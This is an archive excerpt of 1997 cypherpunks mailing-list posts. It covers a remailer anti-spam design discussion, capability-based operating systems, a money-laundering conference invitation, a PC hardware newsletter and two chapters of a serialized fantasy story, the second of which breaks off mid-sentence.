From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 30 Mar 1997 10:55:29 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Heaven's Cypherpunks
In-Reply-To: <199703301650.IAA24024@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970330113902.55744D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Mar 1997, Huge Cajones Remailer wrote:
> does have many connections to hackers and phreaks in the Edmonton,
> Alberta area.

It was on the first of April that hackers and phreaks from the Edmonton
area set out to destroy the eunuch Vulis the evil satan.
So your computer writes a good story.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 30 Mar 1997 13:06:12 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Microsoft ammunition
In-Reply-To: <3.0.32.19970329195447.0068b5c8@netcom9.netcom.com>
Message-ID: <v03007803af6485b0140a@[207.94.249.143]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:58 PM -0800 3/29/97, Lucky Green wrote:
>At 12:49 PM 3/28/97 -0800, Bill Frantz wrote:
>Time for my usual plug: if you are unfamiliar with capabilities based
>operating systems or don't know why they are the only currently available
>solution to a whole host of computer security problems, do a search for
>"KeyKOS". It should get you started.

Lucky - Thanks for your kind words.  And for my usual plug:  Those
interested in KeyKOS ideas in a system which runs on "PC Compatible"
hardware should look at Jonathan Shapiro's EROS system being developed at
the University of Pennsylvania.


-------------------------------------------------------------------------
Bill Frantz       | Back from caving in Borneo.| Periwinkle -- Consulting
(408)356-8506     | Great caves.  We mapped    | 16345 Englewood Ave.
frantz@netcom.com | 25KM on the expedition.    | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 30 Mar 1997 11:36:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: PSYOPS/infowar
In-Reply-To: <199703301835.KAA13744@mail.pacifier.com>
Message-ID: <333EBF12.36B6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 10:47 PM 3/29/97 -0500, Robert Hettinga wrote:
> >This is surely going to piss some people off, but let's some fun with this,
> >shall we?
> >
> >At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:
> >
> >> According to Ronald Duchin, graduate of the US Army War College and
> >> former special assistant to the Secy of Defense and director of the
> >> Veterans of Foreign Wars, activists fall into one of four categories:
> >> radicals, opportunists, idealists, and realists. He recommends a
> >> three-step strategy to neutralize activists:
> >>
> >> 1.   isolate the radicals
> >
> >Tim May
> >Kelly Goen
> >Phil Zimmermann (then)
> >Belize, say
> 
> I'm PISSED!  Ya forgot me!!!  B^)
> 
> Jim Bell
> jimbell@pacifier.com

Jim,
  I think you come under the special classification--'free' radical.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 30 Mar 1997 14:15:45 -0800 (PST)
To: fc97@offshore.com.ai
Subject: Re: Money Laundering Conference
In-Reply-To: <v03020902af6397b9c3d8@[139.167.130.246]>
Message-ID: <v0302091daf647bdd6497@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:13 pm -0500 on 3/30/97, Black Unicorn forwarded to DCSB:


> This is a formal invitation to you to attend the upcoming 8th
> International Oceana Conference on Money Laundering, The Caribbean & Latin
> America, Cybercrime, Financial Crytography and International
                       ^^^^^^^^^^^^^^^^^^^^^
                      Wonder where they got *that* from? :-)

> Financial Crimes on May 6-7, 1997 at the Sonesta Beach Resort and Casino
> Curacao, Curacao, Netherlands Antilles. This conference sponsored by
> Oceana Publications, Inc. in cooperation with the
> Association of International Bankers of the Netherlands Antilles (IBNA),
> The Association of the Compliance Officers of the Netherlands Antilles
> (CONA), and the Centre for International Financial Crimes
> Studies, College of Law, University of Florida will provide global and
> regional coverage of Money Laundering and International Financial Crimes.
>
>
> (See, http://www.oceanalaw.com/seminar/ml2toc.htm)


Hey!!! There's an *echo* in this room. What's the propagation delay here?
Say, what, 3 months? Sheesh.

Don't ever look behind you. They might be gaining...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 30 Mar 1997 08:56:07 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: remailer spam throttle
In-Reply-To: <88Lc5D5w165w@bwalk.dm.com>
Message-ID: <199703301545.QAA03183@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > [remailer encrypts data, sends recipient encrypted data, and keeps
> > the key the recipient requests decryption if he wishes]
> >
> > I think this solves remailer resource objections.
> 
> yes, this sort of solves the storage problem.
> 
> Thinking how this might work...
> 
> Alice's remailer gets an e-mail for Bob.
> 
> Alice's remailer generates 2 pseudo-random numbers, K and L, and uses
> K to encrypt the message with a symmetric cryptoscheme.
> 
> Alice's remailer sends the encrypted message and L to Bob with the
> following note: if you want to receive the key to decrypt this
> message, send back L and acknowledge the disclaimer.
> 
> Alice's remailer retains the triple (K,L,Bob). Because it's small,
> it can be kept for a long time.

I think you don't need to keep Bob .. just lookup K with L.  Less
email addresses is a good thing.

The counter argument I suppose is that the Feds, or anyone else who
reads Bobs email can then ask for the key.  But if they can read his
email, they can already read it once he requests the key.  It would
allow an eavesdropper to do a DoS attack against Bob, request all his
emails before he can.

> If Bob sends back L, the remailer sends Bob K so he can read his message.
> 
> I see a few problems with this. I'm sure it can be improved.
> 
> 1. What if Bob is another remailer, unknown to Alice?

Why is this a problem?  You have accept lists for remailers between
themselves.  A private remailer (one not advertising itself on these
lists) just mimics Alice in retreiving the email ... waits a while
then requests the key.

> 2. What if Bob doesn't have the program to decode his message? (It's
> fair to assume that everyone can fine PGP. It's not fair to assume that
> everyone can find e.g. triple DES.)

You can provide a web interface to do it for him.

Or, you can offer the option that if he includes the encrypted message
in his request you will decrypt it for him, by return of email.

> 3. What if the LEA's decide that the collection of triples on Alice's
> computer is worth looking at, for instance, for the list of addresses.
> (OK, they could be encrypted probably.)

Don't keep the addresses as above -- treat the nonce L as the
identitiy.

> 4. What if the LEA's decide to find out how K, L are generated?

Random pool like PGP, it's one way and the pool has more bits than the
key material the Feds have anyway.  /dev/urandom is nice.  

> When Alice's remailer gets an e-mail for Bob, it should do
> something like:
> 
> 
>           try to fetch Bob's public key
>           from a well-run key server
>             /                    \
>          success               failure
>            |                      |
>       encrypt the e-mail      discard the
>       with bob's key and      e-mail!
>       pass it to Bob              |
>                               was the form
>                               letter sent to
>                               Bob in the last
>                               7 days?    \
>                              /            no
>                            yes              \
>                           /                exit
>                     send bob the
>                     form letter
> 
> 
> Wow, isn't that a perry flow chart. :-)

Yes.  A good solution also.  Perhaps we can write a nice remailer
which has a web forms interface for configuration, lots of radio
buttons etc to allow the proud new remailer in a box owner to
configure his remailer, and pretty stats graphs.

[o] discard / keep
if keep how long for [...]

etc.

Then let the remailer operator play with settings and see which works
out best for him.

> It may be hard to prove a negative to a LEO who doesn't know what
> the hell you're talking about. You have a file in your spool that
> was encrypted with a key that your program generated, but now you
> no longer have the key? Well, tell us how the key was generated.

I think you're arguing for your discard all policy :-)

btw if you're interested to fix the keyserver so that it requires an
ack to a ping with a nonce, someone at MIT has a fast PGP key database
/ web key server which isn't using PGPs linear lookup.  You can find a
link to it from Brian LaMachia's keyserver page.

Another snazzy thing to do to the keyserver would be to have it obtain
a timestamp signature on your key (from a third party time stamping
service, of which there are several) and include that too.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 30 Mar 1997 15:14:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 21
Message-ID: <333EF356.76ED@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Bubba was sitting quietly, contemplating the meaning of the conversation that he had engaged in with Alexis the previous evening, while they were awaiting Priscilla's return from the 'initiation' of a new member of the mythical 'Circle of Eunuchs'








The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


All The Marbles

Bubba was sitting quietly, contemplating
the meaning of the conversation that he had engaged in with Alexis
the previous evening, while they were awaiting Priscilla's return
from the 'initiation' of a new member of the mythical 'Circle
of Eunuchs'.

Alexis, though fully aware of the sublime
connection that existed between herself and the Cowboy, still
had little idea of the full ramifications of many of the things
she instinctively 'knew' or 'felt' regarding their relationship
and the bond between them. There were 'levels of upon levels'
of meanings to everything surrounding this great battle that was
currently being enacted across the face of the earth-perhaps for
the last time-and it fell upon Bubba to extract every ounce of
meaning from every detail, to sort and sift every microcosmic
nuance of every single item of information that pertained to the
ongoing battle of wits taking place between the 'Magic Circle'
and the 'Dark Forces' that they opposed.

There were two details, in particular, that
were bothering him at this point in time.

The first was Alexis's statements of the
night before.

"I know that the Cowboy and I are perhaps
not meant to have a 'real' relationship, in this life,
anyway. I understand that, Bubba. I know that there's something
we're involved with that goes beyond the personal affairs of the
individual participants in a grander scheme of things.
"But I'm really mad that the one chance that he had
to acknowledge me, the one opportunity for him to acknowledge
us, he had to be such a...such a..."

"Such a man.", Bubba had
finished the thought for her.

"Yes!", Alexis had cried out,
satisfied that Bubba had helped her hit the nail exactly on the
head. "And I'm going to give him 'Holy Hell' about it, the
next time I see him.", she continued, resolutely.

Bubba, 'three sheets to the wind', at the
time, had noticed the discrepancy in her statements, and made
note to himself to resolve it later. And now was later.

Alexis instinctively 'knew' that she would not be seeing the Cowboy
again-ever-but she was blissfully 'unaware' of knowing it, just
the same. Ignorance is bliss, in many an instance, and
Bubba was grateful that the 'powers that be' were allowing her
this blissful ignorance, while bringing this fact to Bubba's attention,
regardless.
This did not bode well. Especially given the second fact that
was troubling Bubba. Priscilla had failed to return from her previous
night's rendezvous with a new member of the 'Circle'.

This did not bode well, at all.


Priscilla came in, after a bit, joined Bubba
at his table for a short drink, without the customary 'peck' on
his cheek, and left abruptly, with no meaningful conversation
having taken place. The 'explanation' for what changes were being
wrought in the grand scheme of things would obviously come from
another.

Bubba waited...and watched...and waited...



It was several hours before Alexis came
in, stopping to converse, and flirt, with a few of the other patrons
before joining "my favorite old geezer," as she loudly
proclaimed to one and all, at his table in the corner. She gave
Bubba a warm hug and leaned to kiss him fondly on the cheek, whispering
in his ear,

"How's my favorite Uncle, today?"


"Fine, my dear, just fine."

He gave her a fatherly kiss on the forehead,
in return, disturbed by her message, but somehow relieved that
the 'game' that had been played for centuries between the 'Circle'
and the 'Dark Forces' had finally moved onward, past the point
of no return.

The Cowboy had finally set in motion what
was likely to be the final match in a contest that had spanned
millennium-the battle between the forces of light and the forces
of darkness on the cosmic sphere known as Earth-the battle for
the souls of men.

And this battle, Bubba was certain, was
for 'all the marbles'-the souls of all mankind.

"God help us all.", Bubba thought,
inwardly, as Alexis sat and waited for a sign from him as to what
he needed of her, from this point on.
"Have you got time to sit and flirt with a lecherous old
geezer with evil intentions, my dear?"

Alexis gave Bubba an affectionate hug, and
ran a finger slowly and flirtatiously down his chest, to his navel.
She blew him a kiss and laughed like a little schoolgirl playing
with fire and enjoying the danger. She was glad Bubba needed her
to be with him a while, because there was a strange heaviness
reaching for her from afar, and she needed a point of stability
to lean on, to share that heaviness.

Bubba brought out a deck of cards, as he
did on very rare occasions, and they played silently, while Bubba
concentrated his thoughts on the developing situation, reading,
as best as possible, at the same time, the energy coming from
the affinity between Alexis and the Cowboy.
Alexis, after winning several hands of a game she had never played
before, a game she knew nothing about, but one which she suddenly,
instinctively, knew how to play, asked Bubba the name of the game.

"Pitch.", he replied.

"Pitch, with the 'Bitch'?", Alexis
asked, quizzically.

Bubba smiled, a genuine, joyous, earth-shaking
smile, and Alexis smiled with him.

"What are we playing for?", Alexis
asked, teasing Bubba with a cute, sexy look.

"We're playing for all the marbles.",
he replied, giving her a wink.

And somewhere, on the softness of the breeze
that wafted gently, inexplicably across the room, a voice from
far away whispered,
"We're 'Shooting the Moon', boys and girls. We're shooting
the moon."


As the cards rose and fell, game after game,
Bubba's mind was running a gauntlet that spanned both centuries
and lives-a passageway through time and space that was filled
to overflowing with the emptiness of the Tao. His soul traveled
a lonesome corridor of non-existence that charted the history
and the legend of the mythical 'Circle of Eunuchs', from its initial
inception, down through the ages, to the here now of the present,
where it was in the process of being unleashed in its full, unrestrained,
allegorical glory.

Bubba Rom Dos IV, lifelong friend and drinking
companion of the Cowboy, C.J. Parker IV, had finally learned what
five generations of his ancestors had died without discovering.


For four generations the tradition had been
passed down-a lifelong commitment to bearing witness, to all who
would listen and to all who would not, of the great battle of
the forces of light and darkness that was taking place under the
surface of the high-tech computer network spanning the globe.
An eternal dedication to continuing the tradition no matter what
the cost, whatever obstacles or hardships one met along the way.
The keeping of a sacred promise to bear witness to the true existence
of the Evil One and his Grand Design, and of Gomez and the Dark
Forces' pervasive influence throughout the Netherworld of high-technology.

Four generations of preaching of gloom and
doom, and admonishing one and all that mankind's one remaining
hope for survival lie in the hands of the magical 'Circle of Eunuchs',
who were dedicated to serving the forces of light in the Great
Battle for the souls of humanity, and the very Soul of Humanity,
itself.

Four generations of keeping the faith, maintaining
the tradition, despite never knowing, and never asking to know,
whether or not the 'Circle of Eunuchs' actually existed, or
not.


Four generations of Bubba Rom Dos, remaining
the close friend and eternal drinking-companion of C.J. Parker,
the 'founder' of the legendary organization, in all his incarnations,
without once inquiring, or expressing a desire to know, whether
there was any true substance to the myth.
Four generations of faith-pure, inviolate faith-that their friend
and drinking companion was upholding his tradition as loyally
and steadfastly as they were upholding their own.


Now, when the cards had been put into play
for the final game in the Great Battle, Bubba Rom Dos IV, had
learned, beyond shadow of a doubt, what only one other living
person knew-he knew that the legendary 'Circle of Eunuchs' did
not exist.

The 'Magic Circle'-the 'only hope' for humanity-had
never existed.


For the first time in four generations,
Bubba Rom Dos, sage and savant, derelict and philosopher, doubted
himself, doubted his lifelong friend-doubted four generations
of the total, unquestioning dedication and commitment of his lineage
and that of the Cowboy, the lineage of the Author.
He looked up at Alexis, pure, sweet, innocent Alexis. Only one
of a multitude who had committed themselves to a cause, at his
urging, that would lead to their certain destruction if Gomez
and the Dark Forces launched the final battle, unopposed. 


"I've got you cold, you besotted
old geezer," Alexis gloated, glancing at her hand in confirmation,
"but I'll tell you what I'll do."

Bubba looked up, startled. Those were the
words the Cowboy always used to 'rub it in' when, despite his
insane bidding practices and inane methodology of counting on
'Lady Luck' to make up for his total lack of common sense when
it came to playing even the best of hands, he finally, unequivocally,
held the cards needed to 'stomp your sorry ass into the dirt',
as he liked to so eloquently phrase it.

It was quite apparent, however, that his
long-standing tradition of slapping his cards face-down on the
table, saying, "Read 'em and weep, pal.", was about
to come to an end.

Bubba found himself staring blankly into
Alexis's best Cheshire cat 'grin', as she continued,
"I'm willing to fold my hand-the winning hand, I assure
you-and let you take the pot."

Bubba was perplexed. There was a 'knuckleball'
coming, he knew that much instinctively, and he had better be
prepared for it, that was quite simply good, common sense.
Bubba knew that this game represented the game which the Cowboy
had put in motion between himself and Gomez. He quickly replayed
the game, to this point, in his mind, as Alexis paused, poured
herself a shot of Jim Beam, just as the Cowboy would have done
when 'rubbing it in', as he was won't to do, 'to the max.'.

This game had been played, totally contrary
to the Cowboy's usual style, 'straight ahead', the only surprises
being that the Cowboy, through Alexis, had been blatantly 'slamming'
him mercilessly, with an onslaught of 'power' cards, as if the
world belonged to him, and him alone, through the blessed, divine
grace of Lady Luck, and he could not be denied. Out of character
for him, but very effectively establishing that he was challenging
Bubba, 'mano-a-mano', and giving every indication that the cards
he held allowed him the luxury of 'rubbing his opponent's face
in it' on the way to certain victory.

But now, would come the 'knuckleball."



"Or," Alexis added, with
a too-casual shrug of the shoulders, "we can double
the stakes, and play it out."

Your
choice, Uncle Bubba." 


Bubba's face flared bright red, out of habit.
God, how he hated it when the Cowboy did that.
 Then Bubba's face grew steely calm, and controlled. But inside,
he was smiling.

Bubba hated playing cards with the Cowboy,
but he did so for that very reason.
Bubba Rom Dos IV, like his ancestors before him, was, first and
foremost, a Taoist. Even the least developed of Zen masters can
tell you that it is no great deal to go off to a remote mountain-top
and be a good Taoist philosopher. To do so in the heart of the
city, however, is an entirely different matter.

Bubba, for all his carousing and manic babbling,
was, in fact, able to 'hang cool' in the wildest and most stressful
of situations. Even when he was "totally out of control,"
the Cowboy used to brag about him, "inside he's as 'loose
as a goose'." Nobody, anywhere, at any time, for any reason,
could 'get' to him to the extent of disturbing his calm, inner
Taoist demeanor.

Except for the Cowboy...when they were
playing cards. Thus it was incumbent upon Bubba to engage the
Cowboy in a game of cards at every opportunity, in order to give
his 'weakness' in this area a good workout, and strive to overcome
his deficiency in this area. Which, to a large part, he had succeeded
in doing.

The one instance in which the Cowboy could
still, almost without fail, "get Bubba's Taoist goat,"
as he liked to brag, was when he pulled the gambit known as 'Winner's
Bluff' out of his time-worn hat.

And this, Bubba well knew, thanks to Alexis'
message, was what he had done with Gomez-with a reference to 'Uncle
Bubba'.


Bubba looked at the cards he held, and once
again quickly reviewed the hands that had been played. The chances
were good, very good indeed, that Alexis held the cards needed
to 'finish the job' she had been doing on him, and to do so 'with
a flourish'.

But there was a chance-a slim chance, but
still a chance-that she was one card short.

Bubba watched Alexis sitting there, with
her enigmatic, Cheshire cat grin merged with the Cowboy's smart-alecky,
gloating smirk, and he suddenly exploded, in spite of himself,
like never before.

"You smart-ass little bitch!",
he screamed, "I'll stomp your sorry ass into the ground.
Play the goddamn cards!"

The patrons of the Broken Spoke Saloon,
visibly shaken by this momentous display of 'genuine' loss of
self-control on the part of the imperturbable sage, looked at
each other in total wonder, sensing that the decades of manic
babbling that he had been legendary for, had all been but a precursor
to the 'real thing', and that this was not a good omen.



Bubba sat back in his chair, waiting with
a vengeance, for his opponent to continue.

Alexis, having gotten Bubba to 'rise to
the bait', now slammed her last three cards to the table, in rapid
succession-the Queen, King, and Ace of Spades-the game-winning
cards, and Bubba threw his remaining cards, face down, on her
cards, disgustingly conceding defeat.

As he sat there fuming, Alexis said, in
a small, quiet voice,
"Now it's your play, Uncle Bubba."


Bubba sat and stared at Alexis, for a long,
long while, then he slowly picked up the top card from the three
that he had thrown on top of her 'winning' cards, and he turned
it over.

It was the 'Bitch'-the Queen of Spades.

He had gotten so 'caught up' in the illusion
she was creating, and the anger that it unleashed in him, that
he 'saw' what she had 'wanted' him to see, the Queen (of Clubs,
in reality), King, and Ace of Spades, falling from 'her' hand,
onto the table, even though he 'knew' that the Queen of Spades
had been in his own hand, all along.

But even when Alexis 'pointed out' to Bubba
that she had 'run a game' on him-playing with his mind-he still
had to 'turn the card over' and look at it, in order to truly
confirm, and comprehend, that he had been 'taken'. And in doing
so, he only 'added' to his defeat, and his humiliation.

Bubba was now fully aware of the game being
played out between the Cowboy and Gomez, and his doubts ceased-about
himself, about the Cowboy, and about four generations of the ancestors
in both of their lineages.
He knew that-by his own hand-Gomez was now in the process of creating
an organization that for four generations had been his chief opponent
only in legend-a mythological albatross around his neck which
had never existed, except allegorically.

After centuries of non-existence, the 'Circle
of Eunuchs'-humanity's last hope for salvation-was about to become
a reality.

Bubba raised his shot-glass, in toast, and
stated proudly and boldly, for all to hear,
"To the forthcoming marriage of my favorite niece, Alexis...and
Vice-Admiral Bubba D'Shauneaux's favorite nephew...the Cowboy."


Chapter 21 - All The Marbles









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newsletter@shoppingplanet.com
Date: Tue, 1 Apr 1997 15:29:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: PC Shopping Planet - Tech Info-Letter
Message-ID: <04360572602808@shoppingplanet.com>
MIME-Version: 1.0
Content-Type: text/plain



                        TECH INFO-LETTER        
         A Subscription-Only PC Upgrade Update      


                         PC Shopping Planet 
                  http://www.shoppingplanet.com
                            March 25, 1997


<-Expand your screen to make a single line for best viewing->
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
If you no longer want to receive the SP Newsletter, send this 
email or reply to this address:  unsubscribe@shoppingplanet.com
Your email address is: cypherpunks@toad.com
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

In this week's issue:

1.   MMX Watch
2.   A River Runs Through "IT"
3.   Buy Me A River
4.   Hot Deals

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
        http://www.shoppingplanet.com      1-800-779-8461
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


1.   MMX Watch

Intel Pentium MMX --->  Available Now!

AMD K6 MMX --->  April

Intel Pentium Pro MMX (Pentium II/Klamath) ---> May

Cyrix M2 180 & 200 MHz MMX --->  July

Please remember that supplies will be very tight immediately
after release.  If you have an application now, don't wait!
Purchase the chip you need today and upgrade to MMX later
(especially when prices come down).

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
        http://www.shoppingplanet.com      1-800-779-8461
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


2.   A RIVER RUNS THROUGH "IT"

The Pentium Pro has been the processor of choice for networked
desktop computers running Windows NT.  But Intel is now about
to flood the Information Technology (IT) market with a river
of new processors.

Each of these chips provides a growth path for the Pentium Pro
and guarantees many years of technical improvement. However,
the Intel upgrade path requires - at a minumum - a Pentium Pro
motherboard or, preferably, a new "SEC" motherboard.

Interestingly, all the new chips have been given the same
names as rivers in Oregon: Klamath, Tillamook, Deschutes,
Katmai, Willamette and Merced.  Why has Intel done this?

The new chips are a joint design project involving Intel's
Hillsboro, Oregon facility, along with the Santa Clara, CA
headquarters. And the river that joins the Oregon/California
border is... the Klamath!

Since everything starts with the Pentium Pro, a quick note
about the existing microprocessor approach.  The current
Pentium Pro uses a dual-chip design that couples the CPU
(with its built-in L1 Cache) and the 256K secondary L2 cache
chip on a single die that plugs into a socket on the system
motherboard.  However, the new designs split the components
and places them on a single cartridge that plugs directly
into a motherboard.


KLAMATH
This is the Pentium Pro with MMX Technology, also known as
the "Pentium II".  This processor is the first of the P6
(too advanced to be called a 686) generation of CPUs.

The Klamath/Pentium II creates a major break with existing
chip and motherboard designs.  It incorporates all the basic
features of MMX: a larger Level 1 cache for fast data access,
plus the 57 new multimedia extensions.  Using a 0.35-micron
CMOS process, a larger die size is produced, but with lower
power consumption.  Accordingly, the motherboard voltage has
to be reduced.

Most importantly, the Klamath/Pentium Pro MMX design is quite
different than the previous Pentium Pro.  The separate CPU
(with built-in L1 Cache), and the L2 cache chip sits in a
metal and plastic encased card called a Single Edge Contact
(SEC) Cartridge.  The cartridge will plug into a slot on the
klamath-compatible motherboard.

Intel says future processor upgrades will become simpler
because of the separation of the components and ability to
configure individual CPU/L2 combinations into cartridges.

The Pentium MMX was only supposed to run at 166 MHz and 200
MHz.  But, in response to Cyrix's announcement of one of their
MMX compatible M2 chips running at 225 MHz, Intel decided to
make a faster 233 MHz Pentium MMX version.

However, the Pentium Pro MMX was supposed to run at the higher
233 MHz speed.  So Intel will release the Klamath/Pentium II
MMX at 233 MHz, 266 MHz and 300 MHz.

Intel will release a Klamath motherboard at the same time as
the chip.  And many of the independent motherboard makers are
working on Klamath-compatible designs that will be released
the same time as Intel's board.

Because of design changes, current Pentium Pro motherboards
will not be able to accept the new cartridges directly.
However, it is expected that Intel -and others- will release
a connector that will allow the SEC cards to fit on existing
Pentium-Pro motherboards.   


TILLAMOOK
This is the notebook version of the Pentium Pro MMX scheduled
for the Fall of this year.  The cartridge design will require
an overhaul of all portable motherboards, so this is Intel's
opportunity to attempt to corner the notebook motherboard
market.  The Intel motherboard "module" will consist of the
board, the MMX procesor, high-speed cache memory, a power
supply, and circuitry for controlling the PCI bus and memory.
In effect, with a prebuilt module, Intel will provide almost
everything necessary for computer manufacturers to produce
high-end notebooks.


DESCHUTES
To be introduced by the end of 1997 or early 1998, this is the
"shrink" notebook version of the Pentium Pro MMX.  The chip
will be manufactured with a new 0.25-micron process (about one
four-hundredth of a human hair) so that the chip will run 
faster (higher clock rates of 300 MHz to 333 MHz) but at a
lower voltage resulting in less heat.  Deschutes, will be
Intel's first chip to support a 100MHz CPU bus and 1MB cache.
That would be a measurable improvement over bus speeds on
current processors that peak at 66MHz. 


KATAMI
Multi-Media Extensions have just been introduced, but Intel
is already planning an enhanced instruction set and better
support for 3D graphics in this Spring 1998 version of the
Pentium Pro MMX.  Using the 0.25-micron process, Intel has
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 30 Mar 1997 18:08:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 22
Message-ID: <333F1CC9.7BBB@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Welcome To The InterNet


The Dark Allies were gathered around the podium,
waiting for Gomez to speak. They had never seen him shine in such
resplendent glory. They knew that the Time was close at hand.

Gomez barked out his orders in the voice that was
inflamed with the power of a great beast who was sure of his kill.
"Act quickly and unfailingly, for our Glory draws nigh and
this carnal kingdom will soon be ours to command."

Gomez dismissed his fawning sycophants and they scurried
out of the Great Hall to do his bidding. Now he would rest, and
reflect on the trail of antiquity that had led him to this moment
in time, making sure that he had overlooked nothing that could
stand in his way.

His plan to investigate the Cowboy's alleged relationship
to D'Shauneaux was simple and it proceeded directly to the heart
of the issue. 
Gomez had top-secret memos, concerning the Cowboy's location and
precarious position, disseminated throughout the InterNet to the
highest levels of the command structure, with strict orders to
conceal the messages under nothing but the tightest level of security.

If the Circle of Eunuchs truly existed, only they could possibly
have the capability of breaching the defenses in place at that
level.

None of the mortals who served as Gomez's minions
were to be involved in this operation. It was to be carried out
entirely by the Dark Allies in order to assure that any 'leak'
that surfaced would unquestionably have come from deep within
the bowels of the InterNet.

The Cowboy was being watched night and day. Any attempt
to make contact with him, in even the faintest, most trivial way,
would be noticed and reported immediately.

This was an area that Gomez congratulated himself
on profusely. Nuthouse Number Nine, Looney Level 'Leven, was one
of his consummate feats of genius.
Schultz was the best of the best. 

The governments of the BC era spent billions on espionage
and internal security, building investigative organizations composed
of superior agents with intensive, specialized training and the
finest technology available at their fingertips. When they ran
up against a situation that was beyond them, it was Schultz who
got the call.
Schultz had, since day one, personally hand-picked and trained
the 'inmates' of Number Nine. Jesus #1 had been in place for over
thirty years; he considered Number Nine his 'home'. Jesus #2 was
the rookie of the bunch, having only been there for fifteen years.
Neither one of them had ever left the building since the first
time they walked through the door. 
The rest of the inmates were retired from other security forces
and found Number Nine an excellent place to spend their remaining
years. Under the cover of the Money Channel it was perfectly natural
for Number Nine to provide amenities for the 'inmates' that were
superior to those received by even the governing elite of some
of the other Channels. 

Keeping the personnel at Number Nine alert and motivated
would not be a problem. They had more than enough reason to be
excited about the opportunity to utilize their expertise in surveillance
of the Cowboy. After more than forty years in existence, with
the most highly qualified and experienced security personnel ever
to be gathered under a single roof, Nuthouse Number Nine finally
had its first authentic inmate.

Gomez howled with glee, in recognition of his own
brilliance.

Gomez laid his plans a millennium in advance. He
had made allowances for all the possibilities-and then he made
allowances for the impossible. He subjected every incident, every
situation-every apparently random occurrence in his domain-to
a rigorous scrutiny unequaled by any of those among the Dark Council
who arrogantly considered themselves to be his peers.
He went over all his stratagem before, during, and after their
implementation and completion. He looked at every one of his plans
forwards, backwards and upside-down, in concept and in detail,
and he missed nothing...nothing!

That's why He was the favored son of the Evil
One. That's why He was chosen to be the instrument by which
the Great Plan would be put into effect when the Time had come.
That's why He was charged with the duty and honor of preparing
the blueprint for the Final Battle.

The envious malcontents in the Council of Darkness-those
devious schemers who dared to oppose him and were so presumptuous
as to reprove him at every opportunity-they would crawl before
him when he delivered this celestial orb into the hands of the
Evil one.
Everything was in readiness, waiting only for the eternally nagging
question of the Magic Circle to be dealt with. And that would
be done soon...very soon.


Gomez was waiting for Cron to report back with the
results of his research on D'Shauneaux and the Cowboy. Gomez had
been over all of it a thousand times before, but he had expanded
the scope of the investigation this time and he would go over
it all again. If there were the slightest grain of information
to support the Cowboy's claim of his relationship to D'Shauneaux,
then Gomez would ferret it out.

He even had Cron running a data search on the word
'uncle'-not only on the current database, but also on the backup
archives that dated back to the very founding of the InterNet.
It would be a tremendous amount of information to sort through
but Gomez had a division of analysts at his beck and call, waiting
